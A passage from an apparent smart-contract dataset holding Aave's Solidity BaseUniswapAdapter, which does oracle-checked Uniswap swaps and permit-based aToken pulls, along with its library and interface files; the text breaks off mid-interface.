address
stringlengths
42
42
source_code
stringlengths
32
1.21M
bytecode
stringlengths
2
49.2k
slither
sequence
0xf22b80D58a7cCDEd772E0997AE90a6C77940B051
// SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {PercentageMath} from '../protocol/libraries/math/PercentageMath.sol'; import {SafeMath} from '../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; import {IERC20Detailed} from '../dependencies/openzeppelin/contracts/IERC20Detailed.sol'; import {SafeERC20} from '../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {Ownable} from '../dependencies/openzeppelin/contracts/Ownable.sol'; import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; import {IUniswapV2Router02} from '../interfaces/IUniswapV2Router02.sol'; import {IPriceOracleGetter} from '../interfaces/IPriceOracleGetter.sol'; import {IERC20WithPermit} from '../interfaces/IERC20WithPermit.sol'; import {FlashLoanReceiverBase} from '../flashloan/base/FlashLoanReceiverBase.sol'; import {IBaseUniswapAdapter} from './interfaces/IBaseUniswapAdapter.sol'; /** * @title BaseUniswapAdapter * @notice Implements the logic for performing assets swaps in Uniswap V2 * @author Aave **/ abstract contract BaseUniswapAdapter is FlashLoanReceiverBase, IBaseUniswapAdapter, Ownable { using SafeMath for uint256; using PercentageMath for uint256; using SafeERC20 for IERC20; // Max slippage percent allowed uint256 public constant override MAX_SLIPPAGE_PERCENT = 3000; // 30% // FLash Loan fee set in lending pool uint256 public constant override FLASHLOAN_PREMIUM_TOTAL = 9; // USD oracle asset address address public constant override USD_ADDRESS = 0x10F7Fc1F91Ba351f9C629c5947AD69bD03C05b96; address public immutable override WETH_ADDRESS; IPriceOracleGetter public immutable override ORACLE; IUniswapV2Router02 public immutable override UNISWAP_ROUTER; constructor( ILendingPoolAddressesProvider addressesProvider, IUniswapV2Router02 uniswapRouter, address wethAddress ) public FlashLoanReceiverBase(addressesProvider) { ORACLE = IPriceOracleGetter(addressesProvider.getPriceOracle()); UNISWAP_ROUTER = uniswapRouter; WETH_ADDRESS = wethAddress; } /** * @dev Given an input asset amount, returns the maximum output amount of the other asset and the prices * @param amountIn Amount of reserveIn * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @return uint256 Amount out of the reserveOut * @return uint256 The price of out amount denominated in the reserveIn currency (18 decimals) * @return uint256 In amount of reserveIn value denominated in USD (8 decimals) * @return uint256 Out amount of reserveOut value denominated in USD (8 decimals) */ function getAmountsOut( uint256 amountIn, address reserveIn, address reserveOut ) external view override returns ( uint256, uint256, uint256, uint256, address[] memory ) { AmountCalc memory results = _getAmountsOutData(reserveIn, reserveOut, amountIn); return ( results.calculatedAmount, results.relativePrice, results.amountInUsd, results.amountOutUsd, results.path ); } /** * @dev Returns the minimum input asset amount required to buy the given output asset amount and the prices * @param amountOut Amount of reserveOut * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @return uint256 Amount in of the reserveIn * @return uint256 The price of in amount denominated in the reserveOut currency (18 decimals) * @return uint256 In amount of reserveIn value denominated in USD (8 decimals) * @return uint256 Out amount of reserveOut value denominated in USD (8 decimals) */ function getAmountsIn( uint256 amountOut, address reserveIn, address reserveOut ) external view override returns ( uint256, uint256, uint256, uint256, address[] memory ) { AmountCalc memory results = _getAmountsInData(reserveIn, reserveOut, amountOut); return ( results.calculatedAmount, results.relativePrice, results.amountInUsd, results.amountOutUsd, results.path ); } /** * @dev Swaps an exact `amountToSwap` of an asset to another * @param assetToSwapFrom Origin asset * @param assetToSwapTo Destination asset * @param amountToSwap Exact amount of `assetToSwapFrom` to be swapped * @param minAmountOut the min amount of `assetToSwapTo` to be received from the swap * @return the amount received from the swap */ function _swapExactTokensForTokens( address assetToSwapFrom, address assetToSwapTo, uint256 amountToSwap, uint256 minAmountOut, bool useEthPath ) internal returns (uint256) { uint256 fromAssetDecimals = _getDecimals(assetToSwapFrom); uint256 toAssetDecimals = _getDecimals(assetToSwapTo); uint256 fromAssetPrice = _getPrice(assetToSwapFrom); uint256 toAssetPrice = _getPrice(assetToSwapTo); uint256 expectedMinAmountOut = amountToSwap .mul(fromAssetPrice.mul(10**toAssetDecimals)) .div(toAssetPrice.mul(10**fromAssetDecimals)) .percentMul(PercentageMath.PERCENTAGE_FACTOR.sub(MAX_SLIPPAGE_PERCENT)); require(expectedMinAmountOut < minAmountOut, 'minAmountOut exceed max slippage'); // Approves the transfer for the swap. Approves for 0 first to comply with tokens that implement the anti frontrunning approval fix. IERC20(assetToSwapFrom).safeApprove(address(UNISWAP_ROUTER), 0); IERC20(assetToSwapFrom).safeApprove(address(UNISWAP_ROUTER), amountToSwap); address[] memory path; if (useEthPath) { path = new address[](3); path[0] = assetToSwapFrom; path[1] = WETH_ADDRESS; path[2] = assetToSwapTo; } else { path = new address[](2); path[0] = assetToSwapFrom; path[1] = assetToSwapTo; } uint256[] memory amounts = UNISWAP_ROUTER.swapExactTokensForTokens( amountToSwap, minAmountOut, path, address(this), block.timestamp ); emit Swapped(assetToSwapFrom, assetToSwapTo, amounts[0], amounts[amounts.length - 1]); return amounts[amounts.length - 1]; } /** * @dev Receive an exact amount `amountToReceive` of `assetToSwapTo` tokens for as few `assetToSwapFrom` tokens as * possible. * @param assetToSwapFrom Origin asset * @param assetToSwapTo Destination asset * @param maxAmountToSwap Max amount of `assetToSwapFrom` allowed to be swapped * @param amountToReceive Exact amount of `assetToSwapTo` to receive * @return the amount swapped */ function _swapTokensForExactTokens( address assetToSwapFrom, address assetToSwapTo, uint256 maxAmountToSwap, uint256 amountToReceive, bool useEthPath ) internal returns (uint256) { uint256 fromAssetDecimals = _getDecimals(assetToSwapFrom); uint256 toAssetDecimals = _getDecimals(assetToSwapTo); uint256 fromAssetPrice = _getPrice(assetToSwapFrom); uint256 toAssetPrice = _getPrice(assetToSwapTo); uint256 expectedMaxAmountToSwap = amountToReceive .mul(toAssetPrice.mul(10**fromAssetDecimals)) .div(fromAssetPrice.mul(10**toAssetDecimals)) .percentMul(PercentageMath.PERCENTAGE_FACTOR.add(MAX_SLIPPAGE_PERCENT)); require(maxAmountToSwap < expectedMaxAmountToSwap, 'maxAmountToSwap exceed max slippage'); // Approves the transfer for the swap. Approves for 0 first to comply with tokens that implement the anti frontrunning approval fix. IERC20(assetToSwapFrom).safeApprove(address(UNISWAP_ROUTER), 0); IERC20(assetToSwapFrom).safeApprove(address(UNISWAP_ROUTER), maxAmountToSwap); address[] memory path; if (useEthPath) { path = new address[](3); path[0] = assetToSwapFrom; path[1] = WETH_ADDRESS; path[2] = assetToSwapTo; } else { path = new address[](2); path[0] = assetToSwapFrom; path[1] = assetToSwapTo; } uint256[] memory amounts = UNISWAP_ROUTER.swapTokensForExactTokens( amountToReceive, maxAmountToSwap, path, address(this), block.timestamp ); emit Swapped(assetToSwapFrom, assetToSwapTo, amounts[0], amounts[amounts.length - 1]); return amounts[0]; } /** * @dev Get the price of the asset from the oracle denominated in eth * @param asset address * @return eth price for the asset */ function _getPrice(address asset) internal view returns (uint256) { return ORACLE.getAssetPrice(asset); } /** * @dev Get the decimals of an asset * @return number of decimals of the asset */ function _getDecimals(address asset) internal view returns (uint256) { return IERC20Detailed(asset).decimals(); } /** * @dev Get the aToken associated to the asset * @return address of the aToken */ function _getReserveData(address asset) internal view returns (DataTypes.ReserveData memory) { return LENDING_POOL.getReserveData(asset); } /** * @dev Pull the ATokens from the user * @param reserve address of the asset * @param reserveAToken address of the aToken of the reserve * @param user address * @param amount of tokens to be transferred to the contract * @param permitSignature struct containing the permit signature */ function _pullAToken( address reserve, address reserveAToken, address user, uint256 amount, PermitSignature memory permitSignature ) internal { if (_usePermit(permitSignature)) { IERC20WithPermit(reserveAToken).permit( user, address(this), permitSignature.amount, permitSignature.deadline, permitSignature.v, permitSignature.r, permitSignature.s ); } // transfer from user to adapter IERC20(reserveAToken).safeTransferFrom(user, address(this), amount); // withdraw reserve LENDING_POOL.withdraw(reserve, amount, address(this)); } /** * @dev Tells if the permit method should be called by inspecting if there is a valid signature. * If signature params are set to 0, then permit won't be called. * @param signature struct containing the permit signature * @return whether or not permit should be called */ function _usePermit(PermitSignature memory signature) internal pure returns (bool) { return !(uint256(signature.deadline) == uint256(signature.v) && uint256(signature.deadline) == 0); } /** * @dev Calculates the value denominated in USD * @param reserve Address of the reserve * @param amount Amount of the reserve * @param decimals Decimals of the reserve * @return whether or not permit should be called */ function _calcUsdValue( address reserve, uint256 amount, uint256 decimals ) internal view returns (uint256) { uint256 ethUsdPrice = _getPrice(USD_ADDRESS); uint256 reservePrice = _getPrice(reserve); return amount.mul(reservePrice).div(10**decimals).mul(ethUsdPrice).div(10**18); } /** * @dev Given an input asset amount, returns the maximum output amount of the other asset * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @param amountIn Amount of reserveIn * @return Struct containing the following information: * uint256 Amount out of the reserveOut * uint256 The price of out amount denominated in the reserveIn currency (18 decimals) * uint256 In amount of reserveIn value denominated in USD (8 decimals) * uint256 Out amount of reserveOut value denominated in USD (8 decimals) */ function _getAmountsOutData( address reserveIn, address reserveOut, uint256 amountIn ) internal view returns (AmountCalc memory) { // Subtract flash loan fee uint256 finalAmountIn = amountIn.sub(amountIn.mul(FLASHLOAN_PREMIUM_TOTAL).div(10000)); if (reserveIn == reserveOut) { uint256 reserveDecimals = _getDecimals(reserveIn); address[] memory path = new address[](1); path[0] = reserveIn; return AmountCalc( finalAmountIn, finalAmountIn.mul(10**18).div(amountIn), _calcUsdValue(reserveIn, amountIn, reserveDecimals), _calcUsdValue(reserveIn, finalAmountIn, reserveDecimals), path ); } address[] memory simplePath = new address[](2); simplePath[0] = reserveIn; simplePath[1] = reserveOut; uint256[] memory amountsWithoutWeth; uint256[] memory amountsWithWeth; address[] memory pathWithWeth = new address[](3); if (reserveIn != WETH_ADDRESS && reserveOut != WETH_ADDRESS) { pathWithWeth[0] = reserveIn; pathWithWeth[1] = WETH_ADDRESS; pathWithWeth[2] = reserveOut; try UNISWAP_ROUTER.getAmountsOut(finalAmountIn, pathWithWeth) returns ( uint256[] memory resultsWithWeth ) { amountsWithWeth = resultsWithWeth; } catch { amountsWithWeth = new uint256[](3); } } else { amountsWithWeth = new uint256[](3); } uint256 bestAmountOut; try UNISWAP_ROUTER.getAmountsOut(finalAmountIn, simplePath) returns ( uint256[] memory resultAmounts ) { amountsWithoutWeth = resultAmounts; bestAmountOut = (amountsWithWeth[2] > amountsWithoutWeth[1]) ? amountsWithWeth[2] : amountsWithoutWeth[1]; } catch { amountsWithoutWeth = new uint256[](2); bestAmountOut = amountsWithWeth[2]; } uint256 reserveInDecimals = _getDecimals(reserveIn); uint256 reserveOutDecimals = _getDecimals(reserveOut); uint256 outPerInPrice = finalAmountIn.mul(10**18).mul(10**reserveOutDecimals).div( bestAmountOut.mul(10**reserveInDecimals) ); return AmountCalc( bestAmountOut, outPerInPrice, _calcUsdValue(reserveIn, amountIn, reserveInDecimals), _calcUsdValue(reserveOut, bestAmountOut, reserveOutDecimals), (bestAmountOut == 0) ? new address[](2) : (bestAmountOut == amountsWithoutWeth[1]) ? simplePath : pathWithWeth ); } /** * @dev Returns the minimum input asset amount required to buy the given output asset amount * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @param amountOut Amount of reserveOut * @return Struct containing the following information: * uint256 Amount in of the reserveIn * uint256 The price of in amount denominated in the reserveOut currency (18 decimals) * uint256 In amount of reserveIn value denominated in USD (8 decimals) * uint256 Out amount of reserveOut value denominated in USD (8 decimals) */ function _getAmountsInData( address reserveIn, address reserveOut, uint256 amountOut ) internal view returns (AmountCalc memory) { if (reserveIn == reserveOut) { // Add flash loan fee uint256 amountIn = amountOut.add(amountOut.mul(FLASHLOAN_PREMIUM_TOTAL).div(10000)); uint256 reserveDecimals = _getDecimals(reserveIn); address[] memory path = new address[](1); path[0] = reserveIn; return AmountCalc( amountIn, amountOut.mul(10**18).div(amountIn), _calcUsdValue(reserveIn, amountIn, reserveDecimals), _calcUsdValue(reserveIn, amountOut, reserveDecimals), path ); } (uint256[] memory amounts, address[] memory path) = _getAmountsInAndPath(reserveIn, reserveOut, amountOut); // Add flash loan fee uint256 finalAmountIn = amounts[0].add(amounts[0].mul(FLASHLOAN_PREMIUM_TOTAL).div(10000)); uint256 reserveInDecimals = _getDecimals(reserveIn); uint256 reserveOutDecimals = _getDecimals(reserveOut); uint256 inPerOutPrice = amountOut.mul(10**18).mul(10**reserveInDecimals).div( finalAmountIn.mul(10**reserveOutDecimals) ); return AmountCalc( finalAmountIn, inPerOutPrice, _calcUsdValue(reserveIn, finalAmountIn, reserveInDecimals), _calcUsdValue(reserveOut, amountOut, reserveOutDecimals), path ); } /** * @dev Calculates the input asset amount required to buy the given output asset amount * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @param amountOut Amount of reserveOut * @return uint256[] amounts Array containing the amountIn and amountOut for a swap */ function _getAmountsInAndPath( address reserveIn, address reserveOut, uint256 amountOut ) internal view returns (uint256[] memory, address[] memory) { address[] memory simplePath = new address[](2); simplePath[0] = reserveIn; simplePath[1] = reserveOut; uint256[] memory amountsWithoutWeth; uint256[] memory amountsWithWeth; address[] memory pathWithWeth = new address[](3); if (reserveIn != WETH_ADDRESS && reserveOut != WETH_ADDRESS) { pathWithWeth[0] = reserveIn; pathWithWeth[1] = WETH_ADDRESS; pathWithWeth[2] = reserveOut; try UNISWAP_ROUTER.getAmountsIn(amountOut, pathWithWeth) returns ( uint256[] memory resultsWithWeth ) { amountsWithWeth = resultsWithWeth; } catch { amountsWithWeth = new uint256[](3); } } else { amountsWithWeth = new uint256[](3); } try UNISWAP_ROUTER.getAmountsIn(amountOut, simplePath) returns ( uint256[] memory resultAmounts ) { amountsWithoutWeth = resultAmounts; return (amountsWithWeth[0] < amountsWithoutWeth[0] && amountsWithWeth[0] != 0) ? (amountsWithWeth, pathWithWeth) : (amountsWithoutWeth, simplePath); } catch { return (amountsWithWeth, pathWithWeth); } } /** * @dev Calculates the input asset amount required to buy the given output asset amount * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @param amountOut Amount of reserveOut * @return uint256[] amounts Array containing the amountIn and amountOut for a swap */ function _getAmountsIn( address reserveIn, address reserveOut, uint256 amountOut, bool useEthPath ) internal view returns (uint256[] memory) { address[] memory path; if (useEthPath) { path = new address[](3); path[0] = reserveIn; path[1] = WETH_ADDRESS; path[2] = reserveOut; } else { path = new address[](2); path[0] = reserveIn; path[1] = reserveOut; } return UNISWAP_ROUTER.getAmountsIn(amountOut, path); } /** * @dev Emergency rescue for token stucked on this contract, as failsafe mechanism * - Funds should never remain in this contract more time than during transactions * - Only callable by the owner **/ function rescueTokens(IERC20 token) external onlyOwner { token.transfer(owner(), token.balanceOf(address(this))); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Errors} from '../helpers/Errors.sol'; /** * @title PercentageMath library * @author Aave * @notice Provides functions to perform percentage calculations * @dev Percentages are defined by default with 2 decimals of precision (100.00). The precision is indicated by PERCENTAGE_FACTOR * @dev Operations are rounded half up **/ library PercentageMath { uint256 constant PERCENTAGE_FACTOR = 1e4; //percentage plus two decimals uint256 constant HALF_PERCENT = PERCENTAGE_FACTOR / 2; /** * @dev Executes a percentage multiplication * @param value The value of which the percentage needs to be calculated * @param percentage The percentage of the value to be calculated * @return The percentage of value **/ function percentMul(uint256 value, uint256 percentage) internal pure returns (uint256) { if (value == 0 || percentage == 0) { return 0; } require( value <= (type(uint256).max - HALF_PERCENT) / percentage, Errors.MATH_MULTIPLICATION_OVERFLOW ); return (value * percentage + HALF_PERCENT) / PERCENTAGE_FACTOR; } /** * @dev Executes a percentage division * @param value The value of which the percentage needs to be calculated * @param percentage The percentage of the value to be calculated * @return The value divided the percentage **/ function percentDiv(uint256 value, uint256 percentage) internal pure returns (uint256) { require(percentage != 0, Errors.MATH_DIVISION_BY_ZERO); uint256 halfPercentage = percentage / 2; require( value <= (type(uint256).max - halfPercentage) / PERCENTAGE_FACTOR, Errors.MATH_MULTIPLICATION_OVERFLOW ); return (value * PERCENTAGE_FACTOR + halfPercentage) / percentage; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, 'SafeMath: addition overflow'); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, 'SafeMath: subtraction overflow'); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, 'SafeMath: multiplication overflow'); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, 'SafeMath: division by zero'); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, 'SafeMath: modulo by zero'); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IERC20} from './IERC20.sol'; interface IERC20Detailed is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import {IERC20} from './IERC20.sol'; import {SafeMath} from './SafeMath.sol'; import {Address} from './Address.sol'; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require( (value == 0) || (token.allowance(address(this), spender) == 0), 'SafeERC20: approve from non-zero to non-zero allowance' ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), 'SafeERC20: call to non-contract'); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, 'SafeERC20: low-level call failed'); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), 'SafeERC20: ERC20 operation did not succeed'); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import './Context.sol'; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title LendingPoolAddressesProvider contract * @dev Main registry of addresses part of or connected to the protocol, including permissioned roles * - Acting also as factory of proxies and admin of those, so with right to change its implementations * - Owned by the Aave Governance * @author Aave **/ interface ILendingPoolAddressesProvider { event MarketIdSet(string newMarketId); event LendingPoolUpdated(address indexed newAddress); event ConfigurationAdminUpdated(address indexed newAddress); event EmergencyAdminUpdated(address indexed newAddress); event LendingPoolConfiguratorUpdated(address indexed newAddress); event LendingPoolCollateralManagerUpdated(address indexed newAddress); event PriceOracleUpdated(address indexed newAddress); event LendingRateOracleUpdated(address indexed newAddress); event ProxyCreated(bytes32 id, address indexed newAddress); event AddressSet(bytes32 id, address indexed newAddress, bool hasProxy); function getMarketId() external view returns (string memory); function setMarketId(string calldata marketId) external; function setAddress(bytes32 id, address newAddress) external; function setAddressAsProxy(bytes32 id, address impl) external; function getAddress(bytes32 id) external view returns (address); function getLendingPool() external view returns (address); function setLendingPoolImpl(address pool) external; function getLendingPoolConfigurator() external view returns (address); function setLendingPoolConfiguratorImpl(address configurator) external; function getLendingPoolCollateralManager() external view returns (address); function setLendingPoolCollateralManager(address manager) external; function getPoolAdmin() external view returns (address); function setPoolAdmin(address admin) external; function getEmergencyAdmin() external view returns (address); function setEmergencyAdmin(address admin) external; function getPriceOracle() external view returns (address); function setPriceOracle(address priceOracle) external; function getLendingRateOracle() external view returns (address); function setLendingRateOracle(address lendingRateOracle) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; library DataTypes { // refer to the whitepaper, section 1.1 basic concepts for a formal description of these properties. struct ReserveData { //stores the reserve configuration ReserveConfigurationMap configuration; //the liquidity index. Expressed in ray uint128 liquidityIndex; //variable borrow index. Expressed in ray uint128 variableBorrowIndex; //the current supply rate. Expressed in ray uint128 currentLiquidityRate; //the current variable borrow rate. Expressed in ray uint128 currentVariableBorrowRate; //the current stable borrow rate. Expressed in ray uint128 currentStableBorrowRate; uint40 lastUpdateTimestamp; //tokens addresses address aTokenAddress; address stableDebtTokenAddress; address variableDebtTokenAddress; //address of the interest rate strategy address interestRateStrategyAddress; //the id of the reserve. Represents the position in the list of the active reserves uint8 id; } struct ReserveConfigurationMap { //bit 0-15: LTV //bit 16-31: Liq. threshold //bit 32-47: Liq. bonus //bit 48-55: Decimals //bit 56: Reserve is active //bit 57: reserve is frozen //bit 58: borrowing is enabled //bit 59: stable rate borrowing enabled //bit 60-63: reserved //bit 64-79: reserve factor uint256 data; } struct UserConfigurationMap { uint256 data; } enum InterestRateMode {NONE, STABLE, VARIABLE} } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; interface IUniswapV2Router02 { function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title IPriceOracleGetter interface * @notice Interface for the Aave price oracle. **/ interface IPriceOracleGetter { /** * @dev returns the asset price in ETH * @param asset the address of the asset * @return the ETH price of the asset **/ function getAssetPrice(address asset) external view returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; interface IERC20WithPermit is IERC20 { function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol'; import {SafeERC20} from '../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {IFlashLoanReceiver} from '../interfaces/IFlashLoanReceiver.sol'; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; abstract contract FlashLoanReceiverBase is IFlashLoanReceiver { using SafeERC20 for IERC20; using SafeMath for uint256; ILendingPoolAddressesProvider public immutable override ADDRESSES_PROVIDER; ILendingPool public immutable override LENDING_POOL; constructor(ILendingPoolAddressesProvider provider) public { ADDRESSES_PROVIDER = provider; LENDING_POOL = ILendingPool(provider.getLendingPool()); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {IPriceOracleGetter} from '../../interfaces/IPriceOracleGetter.sol'; import {IUniswapV2Router02} from '../../interfaces/IUniswapV2Router02.sol'; interface IBaseUniswapAdapter { event Swapped(address fromAsset, address toAsset, uint256 fromAmount, uint256 receivedAmount); struct PermitSignature { uint256 amount; uint256 deadline; uint8 v; bytes32 r; bytes32 s; } struct AmountCalc { uint256 calculatedAmount; uint256 relativePrice; uint256 amountInUsd; uint256 amountOutUsd; address[] path; } function WETH_ADDRESS() external returns (address); function MAX_SLIPPAGE_PERCENT() external returns (uint256); function 